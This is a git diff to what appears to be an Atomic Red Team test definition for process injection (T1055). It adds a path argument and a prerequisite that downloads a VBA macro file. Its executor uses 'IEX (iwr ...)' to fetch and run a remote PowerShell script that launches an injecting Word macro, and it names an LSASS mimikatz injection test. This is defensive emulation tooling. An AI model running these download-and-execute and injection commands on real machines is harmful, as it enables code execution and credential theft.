diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml index 1627c827..42430c0b 100644 --- a/atomics/T1055/T1055.yaml +++ b/atomics/T1055/T1055.yaml @@ -11,6 +11,11 @@ atomic_tests: is required. supported_platforms: - windows + input_arguments: + txt_path: + description: Path to file containing VBA macro to run + type: Path + default: PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt dependency_executor_name: powershell dependencies: - description: | @@ -24,11 +29,18 @@ atomic_tests: } catch { exit 1 } get_prereq_command: | Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" + - description: | + #{txt_path} must exist on disk at specified location + prereq_command: | + if (Test-Path #{txt_path}) {exit 0} else {exit 1} + get_prereq_command: | + New-Item -Type Directory (split-path #{txt_path}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) - Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt" -officeProduct "Word" -sub "Execute" + Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute" name: powershell - name: Remote Process Injection in LSASS via mimikatz auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83